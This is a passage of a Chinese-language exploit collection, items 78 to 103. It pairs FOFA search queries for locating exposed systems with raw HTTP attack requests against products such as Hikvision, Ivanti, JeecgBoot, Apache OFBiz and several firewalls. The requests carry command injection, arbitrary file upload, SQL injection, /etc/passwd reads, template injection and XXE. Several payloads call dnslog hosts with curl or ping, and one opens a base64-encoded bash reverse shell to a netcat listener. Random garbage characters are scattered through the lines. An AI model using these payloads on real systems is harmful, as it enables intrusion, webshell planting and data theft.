Content-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
" P9 {# C6 z' ]
------------398jnjVTTlDVXHlE7yYnfwBoix
6 \; |: K; t% tContent-Disposition: form-data; name="folder"

7 K: J+ t0 `7 A' m/upload/udplog
6 d- y* L0 P2 R1 D- r------------398jnjVTTlDVXHlE7yYnfwBoix
1 `3 J. Y0 w4 LContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

6 B" Q7 J+ c7 ]0 `4 shello1234567
5 U0 q: e& [" r0 l4 P' j9 n! ^9 d! [------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
4 m& E, n0 {  ~5 p7 n2 c3 b1 |
+ f- w0 S- ~5 ~" {; W1 dSubmit Query
$ `7 t8 x0 g' @. A, S. i, }0 Q6 d" ?- k5 L------------398jnjVTTlDVXHlE7yYnfwBoix--
# n( ~2 \  J* g' J
/ F0 o+ V$ D: O2 m3 j
9 x/ [% J3 e6 r9 |5 N7 f5 D& o78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
& B2 W6 u6 _2 g; [9 VFOFA：icon_hash="2001627082"
0 k9 e2 e  n6 u' z  `5 yPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
, R5 _- \8 c/ Y. a! H8 A% ?6 [- p" u* {Accept-Encoding: gzip
% ]" s8 Z2 C) a+ c2 K- |# h9 }+ _7 NContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
, C4 O% w% n* p7 S% I# e/ Q5 w& e
5 j1 _, k1 U5 q5 n/ E; ^) |------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

8 e+ X# `, R; L8 Z+ V- y- ~* fYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
& ]  A  C$ N& N6 D6 b! uContent-Disposition: form-data; name="target"
1 v0 d( |* ~; }8 k2 x0 W* C- F* g
/Applications/SkillDevelopAndEHS/
! E8 }4 H, j  Z6 D( k------YsOxWxSvj1KyZow1PTsh98fdu6l--

7 Q; [8 ~8 m) F( q1 H2 ?. M7 O
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
" X# C) {6 b0 m: IHost: x.x.x.x
: ]% q( d5 G) {7 X( D6 Y

79. BYTEVALUE 百为流控路由器远程命令执行
6 r! @4 @" k0 r5 b( tFOFA：BYTEVALUE 智能流控路由器
% F6 e  j: O' e* i0 l. B9 |! n# s& C. D4 ]GET /goform/webRead/open/?path=|id HTTP/1.1
* A9 S1 L/ L1 p% c. ]" i! Q2 QHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
, t7 N5 U/ z; C2 }/ tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 Y( ^6 o/ w  r8 w9 c0 V0 [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
' L6 ^8 W. s6 t( z6 n" q: ]Connection: close
Upgrade-Insecure-Requests: 1


/ k& o/ b. d- e  r4 T' A9 _$ r* [& a- `80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
* o! ~4 H: y; [8 ~0 YPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
0 @$ ^* B# p* P- |3 aHost: x.x.x.x
1 i8 p; M! W; G8 {& w" W0 F, r/ B7 \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% ?# a! Y4 i& Q" w$ A8 w$ GAccept-Encoding: gzip, deflate
( A# Z" H+ b3 g& rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; ], S9 U: }5 m. ]& AConnection: close
) [$ W& T" Q: d! H# T# m8 TContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
* a! y0 G5 N: C
<% out.print("oessqeonylzaf");%>

0 q( |$ i3 @, c; O0 _
5 z6 v7 L1 L; R, xGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* n+ T/ z& o  m+ ?Connection: close
Accept-Encoding: gzip
$ G" S" y0 k. m7 V/ I8 _4 F

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
7 x/ B9 h' O9 k" J6 q7 VFOFA：app="uniview-视频监控"
3 T" u4 _$ d% M" KGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
0 i/ F( ~/ y) R+ m  nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 R4 R& w- p; u, V" \# c# D8 k) @Connection: close
" g! {# Q, S; FAccept-Encoding: gzip


' D  h. d- J' Q" Z3 B82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
. ?6 I3 P9 y( |FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
3 Q" g1 r) [) q5 t: {: X4 g0 RContent-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
; p) u! T' h# s3 mReferer: BaseURL

z1=1&z2="|id;"&z3=bhost


83. JeecgBoot testConnection 远程命令执行
% [, [: t. o$ \FOFA：title=="JeecgBoot 企业级低代码平台"

, ]  a+ l: I3 ~/ g5 ]: ]2 x/ ]% Q
POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, s: j/ J" Z7 r: eConnection: close
9 \6 \! ^( n" e& ~& O6 P9 F) I) B, o  SContent-Length: 8881
8 b. l  O0 w! u, ~# |  m1 }Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

PAYLOAD
0 j0 _- `1 p3 l1 c- ]7 {  |5 P
. `- _0 u' l0 }5 ^5 q2 u! Y4 c; H84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

2 O, T' P) I* R3 [+ r6 t2 J
( c% Y7 ?# P- P  B7 m0 _8 E8 k  Q! Y
0 a2 V& `4 Z% \4 y) l! I3 W$ JPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
! w# D8 }4 b6 ~* g1 YHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
Connection: close
Content-Type: application/json
& V* R! V4 b9 O" i9 F5 d7 iAccept-Encoding: gzip
' h# z6 \2 ^6 X8 V
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
0 U1 c. u1 Q& Q; Y  "type": "0"
}

; Y- `. q$ [7 O+ b+ h8 B1 q
85. SysAid On-premise< 23.3.36远程代码执行
  b6 t5 ?  g' P6 MCVE-2023-47246
5 k+ r. M8 _3 X: ZFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
4 x$ d7 b* {8 W2 K& v1 o9 K* aPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
4 w9 i8 U4 H$ H3 P: [3 BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 G: T* ?( G& s* k5 F  E# vContent-Type: application/octet-stream
Accept-Encoding: gzip
/ \- @2 E; R, A% n+ V
: N+ l& ^& y6 B; x$ F7 rPAYLOAD

2 @+ L. Q6 K: W* i1 O回显URL：http://x.x.x.x/userfiles/index.jsp
% T6 X) l- }) \+ i0 u& u
86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
* z$ U# u( O3 m/ PHost: x.x.x.x
$ Y" i* _. [/ P% W* L% ~+ W2 ]User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
4 _4 `; j) D; UConnection: close
: K3 D  @% E. o1 k  m! Y& Y: AContent-Length: 44
Accept: */*
. e) i& r. b  v; iAccept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
: _" m" z3 e" w
host=%0acat${IFS}/etc/passwd%0a&command=ping
3 {; q& g, X" q* e' _

& F9 R+ w- n+ v% B87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
9 K# r, i5 l4 i5 pPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
2 e) ?  c7 O7 mAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
! {# b% W+ i0 C
0 T) M$ k. t) u" W! R% L/ c7 L--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
' u% v+ h& ^0 r5 s' f1 r+ IContent-Type: text/plain
7 G0 |/ \$ e3 L' f
: N- h" |' A5 e4 h5 t0 d2ZqGNnsjzzU2GBBPyd8AIA7QlDq
) J9 ?4 O4 w1 J) l--qqobiandqgawlxodfiisporjwravxtvd--

) ?& q, @0 T, J5 E) f( ?7 `
/jfhatuwe.php
8 h/ }3 Y1 C: s2 h
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
# _' P9 u& C$ q! O, cFOFA：title="明御安全网关"
, `$ q) n( ^2 mGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
: Q- Q( W2 a5 n# ]Host: x.x.x.xx.x.x.x
$ s$ w/ w! z+ z2 k' l" P* O5 P# FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* }2 ~" @& v# h3 B. Q7 X- VConnection: close

. f0 Y' V* v( n1 N8 s# r
/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
" ?- R0 W. }) r7 JFOFA：title="FE协作办公平台" || body="li_plugins_download"
) B  R. D# l1 q1 g0 C0 VPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
2 e! e0 w7 H% J' ^! R- `Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
" T, T" [0 \$ [; D" k) Y. c
option=2&GUID=-1'+union+select+111*222--+
! K, o, A4 C, b1 u

3 n) S* j& F" Z) v90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
# Q) \* T9 S! Q! P" z* V# V# g/ g$ @POST /php/ping.php HTTP/1.1
4 ^4 y& m8 [7 r* M$ a: h& G. V; T6 C( QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% R3 C  e+ x( K  Z& \  QConnection: close
- y, d  A( ?( r; n0 P# eContent-Type: application/x-www-form-urlencoded
# C0 V  p9 }: {  T0 mX-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
7 A: b5 s6 z* b2 |+ J

# U% E7 c# u) V8 O5 w: c  t- h91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
+ W' ?; q$ ~; EFOFA：title="综合安防管理平台"
9 i* E! X& v; W8 }GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
$ u+ s0 e- P, M" k3 sAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

# p! Y3 W' @5 k# d

% I& L! f( A8 {. e- ]6 R92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
% X5 h4 `- o1 \* i) S; dContent-Type: application/json;charset=UTF-8
- g5 i  E' S# K2 TX-Language-Type: zh_CN
* \: z7 u& o" {2 Q# ITestcmd: echo test
% ^; c0 h& e, ~  S$ {- ?, cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
6 j9 F. J5 x$ @2 O' \) R0 hAccept-Language: zh-CN,zh;q=0.9
1 @: D# ?6 q- _Content-Length: 5778
4 R: ~) ~6 m4 t2 y+ d
) S1 o" E( L8 iPAYLOAD
( _# |* Q$ Y! O" J/ N" @: r3 h

4 x( a. H& s% L$ u' E5 l93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
: C8 N! @: A6 rHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
( w: B" k6 h% OUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

- b6 _: ^4 \5 f* Q! _" t------WebKitFormBoundarykcbkgdfx
9 T" f  l) u2 vContent-Disposition: form-data; name="MAX_FILE_SIZE"
; y! ~6 g0 t/ h& t
2 a' G% }9 k" I+ b* b10000000
  z( w. s7 x3 ~, n0 G6 i$ r6 s------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
4 b( O8 ]* m: Y$ T5 b/ o, ~- C
wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
  ^( Y) K* p% K9 t: f/ [  fContent-Disposition: form-data; name="submit_post"
4 c1 y7 B; d% G6 K9 z' l
+ v( V9 F& q# A- K+ C  O3 ~: q2 E1 Fobj_app_upfile
5 X' g0 J" z' y( R% F- s) A: r------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
- m/ @) V7 @5 o/ s/ |------WebKitFormBoundarykcbkgdfx--

7 j0 L+ \! j1 k, _4 V. k
9 @" R* k6 c/ u5 D: L: M. b# TGET /attachements/xlskxknxa.txt HTTP/1.1
9 }* b/ R4 u  d) l; o; IHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


8 E5 j( O( |* D5 _- e7 j* j94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
& y+ ~( Y% M' [3 g# n5 wFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
. r; r; U: N. X4 jPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
: z' G4 Z2 Z# d4 x! k: X7 {! y5 nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

% J8 `0 e- Z, d& y& I------WebKitFormBoundarybqvzqvmt
! Z7 F5 f* e4 x6 M3 o2 o+ DContent-Disposition: form-data; name="MAX_FILE_SIZE"
* [) l6 \/ n* }" }# ~
6 G7 @, e( z4 p. z1 K" a! o10000000
4 S$ k5 k% C" u  `- L* Y! G------WebKitFormBoundarybqvzqvmt
  A2 T% Q# l$ dContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
0 ^" p( [! Y/ `) T------WebKitFormBoundarybqvzqvmt
6 i# t/ B) F  [8 Q4 X9 AContent-Disposition: form-data; name="submit_post"
( k* t2 S* v) X' M
obj_app_upfile
3 C# s1 f0 @' v4 A% n------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
& W8 p( O& s1 N+ V! m5 P- ?
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--



GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 f, b' K2 D) K; |& {( @0 g- e5 r
; j8 s4 b5 e6 E8 a" u' T3 ?. K

95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
  g0 P9 n2 {5 x* @CVE-2023-49070
FOFA：app="Apache_OFBiz"
, q% m3 N9 w1 F$ D5 LPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
2 O( K! [7 w/ h' ~- o4 e8 eContent-Length: 889
Content-Type: application/xml
" v, ]6 O' b" c1 ^Accept-Encoding: gzip
4 ?- d/ A# x! Y/ n1 A
<?xml version="1.0"?>
, w& O' `3 {6 O5 [. v7 C4 e) u<methodCall>
' e$ j3 A) F; M0 e) j/ _   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
2 ^4 \+ f/ ]1 b4 v5 [    <params>
& P( E4 E9 V# n4 Z3 ]7 u% O, J      <param>
      <value>
5 O: Y6 R& \' X- V& q        <struct>
       <member>
          <name>test</name>
# Y7 q5 H* G+ _4 ~          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
    </param>
; B# J5 z( S' S( j8 h    </params>
</methodCall>
! y8 ~' w- ^- _/ Q4 Y/ q
3 o$ k% d' y8 y1 i4 r% H( s) ]
用ysoserial生成payload
1 A, D. H0 d* r0 k8 x1 ~java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
) q: P8 u/ H1 P0 }, G4 q

2 Z8 `  s3 O% q% X将生成的payload替换到上面的POC
9 A& S2 \0 V% s8 R$ iPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
+ D' Z+ w8 J4 W" Z4 ^! wContent-Length: 889
1 }9 f# ~* A8 nContent-Type: application/xml
% G( [2 K5 P6 UAccept-Encoding: gzip
( r; h: W, e) v/ I; m2 D9 T7 L8 ~6 h
% E; L$ T3 _( YPAYLOAD
4 W6 z( ]) p5 g+ O+ {6 H
$ H+ e. G+ x! [& M- n& K$ |96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
4 B9 A3 j7 q0 @' X7 R' @% ?* BHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
  Z1 a' s4 U6 k5 b4 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

5 l+ r  x2 v* |& pgroovyProgram=throw+new+Exception('id'.execute().text);
# Q% ?5 B, Y. d! C/ Y
/ r" |$ F/ c1 J3 }! U9 `# A( D
反弹shell
* F+ n, S. Y6 p; e0 ]0 i在kali上启动一个监听
$ P* [; e8 p  W  t" @nc -lvp 7777
& z% U8 b  n2 g) Q
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
. V3 H' _4 u* d6 U  Z" CHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
0 y" [0 G8 |* S- ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
2 Y: G  S5 X/ G  V6 h3 P; T( w8 vContent-Length: 71
; M! U3 q- A: k3 V4 I$ S: n
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
  E6 `7 ~; b3 z+ j, E: T6 R) L; ^" U/ sFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
+ P# p2 q6 o! B  w) e- Q; wGET /passport/login/ HTTP/1.1
* L" U* x* W* v, hHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
$ ~% N9 K' G' G4 i& E/ V9 T7 B. fCookie: rememberMe=PAYLOAD
  K3 p' C$ g, p- Z; _  D' LX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
) x. @+ m0 J5 K$ nPOST /function/save HTTP/1.1
9 \5 s+ a/ E/ hHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
# F0 s7 A3 f0 h. [. n2 V3 j3 UAccept-Encoding: gzip, deflate
8 Z% t- d1 X5 M* O! q$ y* y& gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% {5 |, S7 ]+ h( a- F5 eContent-Type: application/x-www-form-urlencoded; charset=UTF-8
& S- s$ w2 k# O9 B* r, u/ JX-Requested-With: XMLHttpRequest
" O& f6 d: {2 v3 Y
& p% `6 s4 Z5 i& Aid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
6 N. @1 E& w8 Z" E6 O

0 _& c- c1 n/ L/ N) y99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
- T4 h& a/ i" x+ S! o5 ?4 |2 r% X  Q. nPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
5 k4 `! I, `) c! @# Y$ h4 B& OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
8 X7 O& M3 Z4 X( IContent-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
; p  o1 M" q* x. w, p9 K9 E
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
; H3 u) k3 G* e% w% J
8 X+ q- l, r% _) [! e' A
8 y) ^2 |0 G* B+ ]5 @+ J100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
' a9 c2 r1 w5 e' JCVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
7 |+ D5 e* h0 X- y% `' SUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
7 b( U# o/ u3 N) TContent-Length: 201
8 k* F8 W2 O$ H) D) ]Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
. X' m, R; Z6 r. n: r# d" ZAccept-Encoding: gzip

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

8 ^- ?# n: }" |: {2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
5 v0 t  W9 \9 h: J

101. ivanti policy secure-22.6命令注入
% u) m7 `( U* u) D$ o3 i0 ZCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
, Z7 w1 K/ m) D. q7 S2 vHost: x.x.x.xx.x.x.x
+ U! e8 a( P" A5 V" U! yUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
( _0 H; j# n4 jAccept-Encoding: gzip


102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
% H7 V6 Z; Q) |0 r- a1 _POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
& G! ~( u6 M. Q1 l
: y' E* r; g6 y% r4 S/ j" D6 m<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
3 [& B: k6 x; B+ ^1 H
103. Ivanti Pulse Connect Secure VPN XXE
+ U' p  o+ P  V5 e& cCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
0 M/ ^( W5 B2 k  |. g8 aPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
5 R+ s9 _0 Y# c# aHost: 192.168.40.130:111
